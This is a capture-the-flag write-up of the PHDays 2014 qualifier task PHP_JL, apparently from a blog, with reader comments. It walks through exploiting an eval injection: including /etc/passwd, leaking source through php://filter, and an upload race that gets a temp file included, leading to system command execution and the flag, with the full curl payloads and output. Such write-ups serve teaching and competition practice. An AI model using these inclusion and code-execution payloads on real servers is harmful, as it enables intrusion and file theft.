PHDays 2014 Quals: PHP_JL writeup

This time another great quals CTF organized by guys and girls of PHdays. PHP_JL was another PHP with safe_mode and functions disabled.
First we have to notice is the source of html output:

Notice: Undefined index: code in /var/www/index.php on line 53
Notice: Undefined index: code in /var/www/index.php on line 56
Empty value

If we fill code value, another PHP error jumps on screen:

Parse error: syntax error, unexpected $end in /var/www/index.php(56) : eval()'d code on line 1
Empty value

This is eval function that complains about the lack of semicolon. Several tries on our code giving us more perspective about the task, but we was very far from solution …;
Warning: phpinfo() has been disabled for security reasons in /var/www/index.php(56) : eval()'d code on line 1

Ok, we cannot use a lot of interesting PHP function, instantiate an object due __construct restrictions too … What can we do ? Let’s include or require some files:'../../../../../../etc/passwd');
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
Empty value

At this point, Michi realized that we can read source code with:;require($_GET["foo"]);&foo=php://filter/convert.base64-encode/resource=index.php;require($_GET["foo"]);&foo=php://filter/convert.base64-encode/resource=admin.php

And decoding Base64 (index.php)


$get_password_hash = function( $filename){
	return hash('sha512',file_get_contents($filename, false, NULL, 0, 32));

$file_path= "/home/phd/password";

$evil = '/=|function|class|for|foreach|while|die|exit|eval|print|echo|unset|isset|empty/i';
if (preg_match($evil,$_GET['code']) ){
	die("Don't try to cheat me!");
$user_pass = eval($_GET['code']);

if (empty($user_pass)){
	die("Empty value");

if ($user_pass !== $get_password_hash( $file_path))
    die("Invalid password");

A troll inside admin.php ! WTF …



So we try to read ‘/home/phd/password’ (It5_N0T_4_fl4G_Bu7_u_R_s0_cl0s3) apply the sha512 32-bytes of the get_password_hash method … but no luck, they was trolling a lot ! So Michi, in a very clever way, decide at this point win the race and says:

» Upload file with one request, make it output the file’s tempname by deliberately triggering a file not found include followed by junk output to fill up the output buffer, then put that PHP script into an infinite loop (a:, goto a); in the meanwhile, grab the temp name and start a second request to include it. This is an easy-to-win race, since the execution time limit is 30 seconds and the file remains there until the first request is killed by that timeout.»

curl --user phd:OJIOJIO_Y4_v0dit3l_nL0 -v '$_FILES\[foo\]\[tmp_name\]."|0");include($_POST\[p\]);include($_POST\[p\]);include($_POST\[p\]);include($_POST\[p\]);include($_POST\[p\]);include($_POST\[p\]);include($_POST\[p\]);include($_POST\[p\]);include($_POST\[p\]);include($_POST\[p\]);include($_POST\[p\]);include($_POST\[p\]);include($_POST\[p\]);a:%0Agoto%20a;' -F foo=@test.php -F p=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

The rest is history:

$file_path="ls -la /home/phd/";
$get_password_hash = 'system';

Real request:;require("/tmp/phplUaO5I");%20return%2042;
total 52
drwxr-xr-x 4 phd phd 4096 Jan 26 01:38 .
drwxr-xr-x 3 root root 4096 Nov 29 14:05 ..
-rw------- 1 phd phd 3177 Jan 26 01:45 .bash_history
-rw-r--r-- 1 phd phd 220 Nov 29 14:05 .bash_logout
-rw-r--r-- 1 phd phd 3486 Nov 29 14:05 .bashrc
drwx------ 2 phd phd 4096 Nov 29 14:07 .cache
-rw-r--r-- 1 phd phd 675 Nov 29 14:05 .profile
drwx------ 2 phd phd 4096 Nov 29 15:14 .ssh
-rw------- 1 root root 11515 Jan 26 01:38 .viminfo
-rw-r--r-- 1 root root 47 Dec 16 18:45 FLAG_11d872ebf8a633d5425bd0d26bdc97029464824d
-rw-r--r-- 1 root root 32 Dec 13 16:25 password

Grab the flag file by LFI:
FLAG IS: YoU_d0_No7_n33d_Func7ionZ_to_h4ck_PHP

No hay contenido relacionado

1 comentario


enero 28, 2014

Why we couldn’t do including of test.php in one request:;require($_FILES\[foo\]\[tmp_name\]);%20return%2042; -F foo=@test.php


enero 28, 2014

To overwrite directly the variables? Can’t test now because they’ve closed the tasks, but seems we need the infinite loop (a;goto a;). Server has sushosin and a tons of avoided functions.


enero 31, 2014

Actually this was my first approach, but some PHP security module – most probably suhosin in an appropriate configuration – prevented include()/require() from processing anything that PHP considers an ‘uploaded file’, i.e. everything that goes into $_FILES by POST upload.

Hence the approach to use a file dropped into /tmp by a *different* request, so PHP won’t consider it an uploaded file – this just leaves us with the problem that uploaded temporary files are deleted by PHP as soon as a request finished. There the infinite loop comes into play – it stalls the request that uploaded the file for 30 seconds, leaving enough time to fire a second request to include the temporary file created.


enero 31, 2014

Thanks M. :)

Leave a Reply

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.